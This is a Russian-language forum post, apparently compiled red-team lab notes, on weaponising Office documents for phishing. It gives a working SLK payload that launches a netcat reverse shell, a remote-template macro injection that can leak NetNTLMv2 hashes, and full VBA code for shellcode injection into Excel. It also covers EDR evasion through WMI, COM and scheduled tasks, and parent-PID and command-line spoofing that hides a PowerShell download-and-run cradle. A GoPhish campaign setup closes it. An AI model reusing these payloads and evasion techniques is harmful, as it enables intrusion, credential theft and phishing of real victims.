В этой фишинговой лаборатории я просто играю с POC, исследованными, закодированными и описанными Йориком Костером в его сообщении в блоге. (https://securify.nl/blog/SFY2018080...social-engineering-with-embedded-objects.html)


Исполнение

1668018779055.png


Наблюдения

1668018791144.png


Как и в случае с другими фишинговыми документами, мы можем разархивировать .docx и выполнить простой hexdump/strings в oleObject1.bin, чтобы найти любые подозрительные строки, относящиеся к какому-либо выполнению файла/кода:

1668018803191.png


Объект CLSID, обеспечивающий работу этого метода, представляет собой объект Shell.Explorer.1, как показано здесь:

Get-ChildItem 'registry::HKEY_CLASSES_ROOT\CLSID\{EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B}'

1668018821500.png


Как аналитик, следует проверить файл .bin и найти внутри байты {EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B}, указывающие на то, что объект Shell.Explorer.1 встроен в файл .bin:

1668018830303.png
 
Фишинг: .SLK Excel

Эта лабораторная работа основана на работах, сделанных @StanHacked — дополнительную информацию см. в ссылках ниже. (https://twitter.com/StanHacked)

Вооружение

Создайте новый текстовый файл, поместите приведенный ниже код и сохраните его как файл .slk:

ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;EEXEC("c:\shell.cmd")
C;X1;Y102;K0;EHALT()
E

1668018967866.png


Обратите внимание, что shell.cmd относится к простому пакетному файлу обратной оболочки nc:

C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe

Исполнение


Как только предупреждение о макросе будет отклонено, обратная оболочка появится, как и ожидалось:

1668018986048.png


Поскольку файл на самом деле представляет собой обычный текстовый файл, обнаружение/сортировка вредоносных намерений упрощается.

Бонус

Обратите внимание, что файл полезной нагрузки можно сохранить в формате .csv, однако обратите внимание на дополнительное предупреждение:

1668018999518.png
 
Фишинг: замена встроенного видео поддельной полезной нагрузкой

Вооружение


Создайте новый документ Word и перейдите в меню "Вставка" -> "Онлайн-видео":

1668019155232.png


Вставьте любое видео:

1668019164390.png


Сохраните документ:

1668019172113.png


Переименуйте .docx в .zip:

1668019181656.png


Откройте document.xml в любом редакторе кода:

1668019189272.png


Обратите внимание на атрибут embeddedHtml — в настоящее время в него встроен iframe YouTube:

1668019197100.png


Далее мы добавим нашу полезную нагрузку внутрь атрибута embeddedHtml непосредственно перед началом разметки iframe. Мы будем использовать полезную нагрузку из статьи:


Давайте HTML закодируем всю полезную нагрузку:

1668019242156.png


Поместим закодированную полезную нагрузку в самое начало атрибута embeddedHtml:

1668019255679.png


Снова заархивируйте все файлы и переименуйте архив обратно в .docx:

1668019264262.png


Исполнение

Откройте только что заблокированный документ и воспроизведите видео:

1668019274263.png


На данный момент, согласно https://blog.cymulate.com/abusing-microsoft-office-online-video , должен был появиться запрос на загрузку полезной нагрузки, но по какой-то причине у меня этого не произошло:

1668019282633.png


Если бы вы смогли воспроизвести эту технику и увидеть, что я пропустил, я был бы признателен за любую обратную связь.
 
Вставка макросов из удаленного шаблона Dotm

Эта лаба показывает, как можно косвенно добавить полезную нагрузку макроса в файл docx, что имеет хорошие шансы избежать некоторых AV/EDR.

Эта техника работает следующим образом:

1. Вредоносный макрос сохраняется в файле .dotm шаблона Word.

2. Файл .docx создается на основе одного из стандартных шаблонов документов MS Word.

3. Документ из шага 2 сохраняется как .docx

4. Документ из шага 3 переименовывается в .zip

5. Документ из шага 4 распаковывается.

6. \word_rels\settings.xml.rels содержит ссылку на файл шаблона. Эта ссылка заменяется ссылкой на наш вредоносный макрос, созданный на шаге 1. Файл может быть размещен на веб-сервере (http) или webdav (smb).

7. Файл снова архивируется и переименовывается в .docx.

8. Готово

Вооружение

Нажать Alt + F8, чтобы войти в режим разработки, где мы можем редактировать макросы, выберите ThisDocument и вставьте:

1668567541580.png


1668567572776.png

Создайте удобный файл .docx на основе одного из предоставленных шаблонов и сохраните его как .docx:

1668567605447.png


Переименуйте legit.docx в legit.zip:

1668567612890.png


Разархивируйте архив и отредактируйте word_rels\settings.xml.rels:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file:///C:\Users\mantvydas\AppData\Roaming\Microsoft\Templates\Polished%20resume,%20designed%20by%20MOO.dotx" TargetMode="External"/></Relationships>


Обратите внимание, что здесь указан целевой шаблон:

1668567713972.png


Загрузите шаблон, созданный ранее Doc3.dot, на сервер SMB (обратите внимание, что файл также может быть размещен на веб-сервере!).

Обновите word_rels\settings.xml.rels, чтобы он указывал на Doc3.dotm:

1668567724358.png


Заархивируйте все файлы легального архива и назовите его обратно в .docx — теперь у нас есть боевой документ:

1668567742300.png


Обратите внимание, что этот метод может использоваться для кражи хэшей NetNTLMv2, поскольку целевая система подключается к атакующей системе — там может прослушиваться ответчик.
 
Обход родительских и дочерних обнаружений / обнаружения предков

Защитники часто разрабатывают обнаружения, основанные на отношениях между родительскими и дочерними процессами, т. е. Excel порождает powershell — и это подозрительно.

Эта лабав основном основана на методах, обсуждаемых на https://www.countercept.com/blog/dechaining-macros-and-evading-edr/.

Ниже приведены некоторые методы, показывающие, как можно обойти обнаружение такого типа.

Порождаем через WmiPrvse.exe с помощью wmi

Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create("calc", Null, objConfig, intProcessID)


1668567946818.png


Порождаем через ShellCOM

Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "calc",Null,"C:\\Windows\\System32",Null,0

Порождаем через svchost.exe с использованием XMLDOM


1668567965531.png


1668567971913.png


Порождаем через svchost.exe с использованием запланированного задания

Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim td: Set td = service.NewTask(0)
td.RegistrationInfo.Author = "Kaspersky Corporation"
td.settings.StartWhenAvailable = True
td.settings.Hidden = False
Dim triggers: Set triggers = td.triggers
Dim trigger: Set trigger = triggers.Create(1)
Dim startTime: ts = DateAdd("s", 30, Now)
startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)
trigger.StartBoundary = startTime
trigger.ID = "TimeTriggerId"
Dim Action: Set Action = td.Actions.Create(0)
Action.Path = "C:\Windows\System32\cmd.exe"
'Action.Arguments = "/c whoami"
Call service.GetFolder("\").RegisterTaskDefinition("AVUpdateTask", td, 6, , , 3)


1668567987759.png


Внедрение шелл-кода в память Excel.exe с использованием Windows API

Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr
Private Declare Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long

Sub Auto_Open()
Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long
#If Vba7 Then
Dim Xlbufvetp As LongPtr
#Else
Dim Xlbufvetp As Long
#EndIf
Hyeyhafxp = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _
139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _
13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _
116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _
214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _
36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _
139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _
235,134,93,106,1,141,133,185,0,0,0,80,104,49,139,111,135,255,213,187, _
224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5, _
187,71,19,114,111,106,0,83,255,213,99,97,108,99,0)
Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40)
For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)
Wyzayxya = Hyeyhafxp(Zolde)
Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)
Next Zolde
Lezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0)
End Sub

1668568016816.png


1668568029154.png


Подмена идентификатора родительского процесса

С помощью этой техники можно указать PID, под которым будет запускаться наш процесс, а также можно подделать аргументы командной строки процесса. Обратите внимание, что это тот же метод, который Cobalt Strike использует в своем модуле argue :

' code from https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/
' Windows API constants

Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&
Const SW_HIDE = &H0&
Const PROCESS_ALL_ACCESS = &H1F0FFF
Const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = &H20000
Const TH32CS_SNAPPROCESS = &H2&
Const MAX_PATH = 260


'''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''' Data types ''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''



Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type


Private Type STARTUP_INFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Byte
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type

Private Type STARTUPINFOEX
STARTUPINFO As STARTUP_INFO
lpAttributelist As LongPtr
End Type

' from https://codes-sources.commentcamarche.net/source/42365-affinite-des-processus-et-des-threads
Private Type PROCESS_BASIC_INFORMATION
ExitStatus As Long
PEBBaseAddress As Long
AffinityMask As Long
BasePriority As Long
UniqueProcessId As Long
ParentProcessId As Long
End Type


Private Declare Function NtQueryInformationProcess Lib "ntdll.dll" ( _
ByVal processHandle As LongPtr, _
ByVal processInformationClass As Long, _
ByRef processInformation As PROCESS_BASIC_INFORMATION, _
ByVal processInformationLength As Long, _
ByRef returnLength As Long _
) As Integer


' From https://foren.activevb.de/archiv/vb-net/thread-76040/beitrag-76164/ReadProcessMemory-fuer-GetComma/
Private Type PEB
Reserved1(1) As Byte
BeingDebugged As Byte
Reserved2 As Byte
Reserved3(1) As Long
Ldr As Long
ProcessParameters As Long
Reserved4(103) As Byte
Reserved5(51) As Long
PostProcessInitRoutine As Long
Reserved6(127) As Byte
Reserved7 As Long
SessionId As Long
End Type


Private Type UNICODE_STRING
Length As Integer
MaximumLength As Integer
Buffer As Long
' to change ^ to Long
End Type

Private Type RTL_USER_PROCESS_PARAMETERS
Reserved1(15) As Byte
Reserved2(9) As Long
ImagePathName As UNICODE_STRING
CommandLine As UNICODE_STRING
End Type


Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szexeFile As String * MAX_PATH
End Type


'''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''' kernel32 & ntdll bindings '''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''

Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _
ByVal lpApplicationName As String, _
ByVal lpCommandLine As String, _
lpProcessAttributes As Long, _
lpThreadAttributes As Long, _
ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, _
lpEnvironment As Any, _
ByVal lpCurrentDriectory As String, _
ByVal lpStartupInfo As LongPtr, _
lpProcessInformation As PROCESS_INFORMATION _
) As Long


Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _
ByVal dwAccess As Long, _
ByVal fInherit As Integer, _
ByVal hObject As Long _
) As Long


Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _
ByVal hHeap As LongPtr, _
ByVal dwFlags As Long, _
ByVal dwBytes As Long _
) As LongPtr


Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr


Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwAttributeCount As Integer, _
ByVal dwFlags As Integer, _
ByRef lpSize As Integer _
) As Boolean


Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwFlags As Integer, _
ByVal lpAttribute As Long, _
ByRef lpValue As Long, _
ByVal cbSize As Integer, _
ByRef lpPreviousValue As Integer, _
ByRef lpReturnSize As Integer _
) As Boolean

Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _
ByVal dwFlags As Integer, _
ByVal th32ProcessID As Integer _
) As Long

Private Declare PtrSafe Function Process32First Lib "kernel32.dll" ( _
ByVal hSnapshot As LongPtr, _
ByRef lppe As PROCESSENTRY32 _
) As Boolean

Private Declare PtrSafe Function Process32Next Lib "kernel32.dll" ( _
ByVal hSnapshot As LongPtr, _
ByRef lppe As PROCESSENTRY32 _
) As Boolean


Private Declare Function ReadProcessMemory Lib "kernel32.dll" ( _
ByVal hProcess As LongPtr, _
ByVal lpBaseAddress As LongPtr, _
ByVal lpBuffer As LongPtr, _
ByVal nSize As Long, _
ByRef lpNumberOfBytesRead As Long _
) As Boolean

Private Declare Function WriteProcessMemory Lib "kernel32.dll" ( _
ByVal hProcess As LongPtr, _
ByVal lpBaseAddress As Long, _
ByVal lpBuffer As Any, _
ByVal nSize As Long, _
ByRef lpNumberOfBytesWritten As Long _
) As Boolean


Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long


'''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''' Utility functions ''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''

' Finds the PID of a process given its name
Public Function getPidByName(ByVal name As String) As Integer
Dim pEntry As PROCESSENTRY32
Dim continueSearching As Boolean
pEntry.dwSize = Len(pEntry)
Dim snapshot As LongPtr

snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ByVal 0&)

continueSearching = Process32First(snapshot, pEntry)

Do
If Left$(pEntry.szexeFile, Len(name)) = LCase$(name) Then
getPidByName = pEntry.th32ProcessID
continueSearching = False
Else
continueSearching = Process32Next(snapshot, pEntry)
End If
Loop While continueSearching
End Function

Public Function convertStr(ByVal str As String) As Byte()
Dim i, j As Integer
Dim result(400) As Byte
j = 0
For i = 1 To Len(str):
result(j) = Asc(Mid(str, i, 1))
result(j + 1) = &H0
j = j + 2
Next

convertStr = result

End Function

Sub AutoOpen()
Dim pi As PROCESS_INFORMATION
Dim si As STARTUPINFOEX
Dim nullStr As String
Dim pid, result As Integer
Dim threadAttribSize As Integer
Dim parentHandle As LongPtr
Dim originalCli As String

originalCli = "powershell.exe -NoExit -c Get-Service -DisplayName '*network*' | Where-Object { $_.Status -eq 'Running' } | Sort-Object DisplayName"

' Get a handle on the process to be used as a parent
pid = getPidByName("explorer.exe")
parentHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)

' Initialize process attribute list
result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)

' Set the parent to be our previous handle
result = UpdateProcThreadAttribute(si.lpAttributelist, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, parentHandle, Len(parentHandle), ByVal 0&, ByVal 0&)

' Set the size of cb (see https://docs.microsoft.com/en-us/windows/desktop/api/winbase/ns-winbase-_startupinfoexa#remarks)
si.STARTUPINFO.cb = LenB(si)

' Hide new process window
si.STARTUPINFO.dwFlags = 1
si.STARTUPINFO.wShowWindow = SW_HIDE

result = CreateProcess( _
nullStr, _
originalCli, _
ByVal 0&, _
ByVal 0&, _
1&, _
&H80014, _
ByVal 0&, _
nullStr, _
VarPtr(si), _
pi _
)

' Spoofing of cli arguments
Dim size As Long
Dim PEB As PEB
Dim pbi As PROCESS_BASIC_INFORMATION
Dim newProcessHandle As LongPtr
Dim success As Boolean
Dim parameters As RTL_USER_PROCESS_PARAMETERS
Dim cmdStr As String
Dim cmd() As Byte

newProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pi.dwProcessId)
result = NtQueryInformationProcess(newProcessHandle, 0, pbi, Len(pbi), size)
success = ReadProcessMemory(newProcessHandle, pbi.PEBBaseAddress, VarPtr(PEB), Len(PEB), size)
' peb.ProcessParameters now contains the address to the parameters - read them
success = ReadProcessMemory(newProcessHandle, PEB.ProcessParameters, VarPtr(parameters), Len(parameters), size)

cmdStr = "powershell.exe -noexit -ep bypass -c IEX((New-Object System.Net.WebClient).DownloadString('http://bit.ly/2TxpA4h')) # "
cmd = convertStr(cmdStr)
success = WriteProcessMemory(newProcessHandle, parameters.CommandLine.Buffer, StrPtr(cmd), 2 * Len(cmdStr), size)
ResumeThread (pi.hThread)
End Sub
 
Фишинг: встроенные HTML-формы

Выполнение кода со встроенными объектами форм HTML

В этой лабе я просто играю с POC, исследованными, закодированными и описанными Йориком Костером в его сообщении в блоге - (https://securify.nl/blog/SFY2018080...social-engineering-with-embedded-objects.html)

Исполнение

1668568158276.png



Наблюдения

Эти типы фишинговых документов можно определить, найдя CLSID 5512D112-5CC6-11CF-8D67-00AA00BDCE1D во встроенных файлах .bin:

1668568172842.png


...а также внутри файла activeX1.xml:

1668568182863.png


Как обычно, следует исследовать приложения MS Office, порождающие cmd.exe или powershell.exe:

1668568192354.png
 
Фишинг с GoPhish и DigitalOcean

Эта лаба работа посвящена изучению одного из фишинговых фреймворков GoPhish. Я буду устанавливать и настраивать GoPhish на VPS DigitalOcean с дистрибутивом Ubuntu Linux.

Настройка среды

DigitalOcean VPS


Созданному мной дропу был назначен IP-адрес 68.183.113.176.

Заходим на VPS и устанавливаем агент доставки почты:

1668568351773.png


1668568359381.png


Укажите переменную mynetworks в конфигурации постфикса на IP-адрес, который мы получили в DigitalOcean:

1668568366415.png


1668568373355.png


Настройка DNS-зоны

Создайте почтовую запись A, указывающую на IP-адрес VPS, и запись MX, указывающую на mail.yourdomain:

1668568390270.png


Установите GoPhish

wget https://github.com/gophish/gophish/releases/download/0.7.1/gophish-v0.7.1-linux-64bit.zip
apt install unzip
unzip gophish-v0.7.1-linux-64bit.zip
chmod +x gophish

1668568407646.png


Исполнение


Запустить GoPhish просто:

1668568414387.png


1668568419935.png


Панель администрирования GoPhish по умолчанию привязана к 127.0.0.1:3333, поэтому мы можем либо изменить конфигурацию и изменить ее для прослушивания на 0.0.0.0 (все интерфейсы), если мы хотим получить доступ к панели администратора из Интернета, либо создать локальный SSH туннель, если мы хотим ограничить доступ только к локальной сети. Давайте сделаем SSH-туннель:

ssh root@68.183.113.176 -L3333:localhost:3333 -N -f


Теперь мы можем получить доступ к панели администратора GoPhish через https://127.0.0.1:3333 из нашего окна Kali. После создания групп пользователей (целей фишинга), целевых страниц (жертвы фишинговых страниц увидят, если они нажмут на наши фишинговые ссылки) и т. д., мы можем создать шаблон электронной почты — электронное письмо, которое будет отправлено ничего не подозревающим жертвам как часть фишинговой атаки кампании, которую мы создадим на следующем шаге:

1668568444124.png


Ниже приведена краткая демонстрация того, как создается новая кампания после того, как все остальные элементы, упомянутые выше, готовы (пользователи, шаблоны, целевые страницы):

1668568454450.png


Получение фиша

Ниже приведен фактический конечный результат нашей имитации фишинговой кампании:

1668568465145.png


URL-адрес, найденный в приведенном выше фишинговом письме, ведет пользователя на нашу фиктивную фишинговую страницу:

1668568472749.png


Результаты кампании

Перейдя в раздел Campaigns панели администратора, мы можем увидеть, сколько писем было отправлено в рамках кампании, сколько из них было открыто и сколько раз был нажат фишинговый URL:

1668568482532.png
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх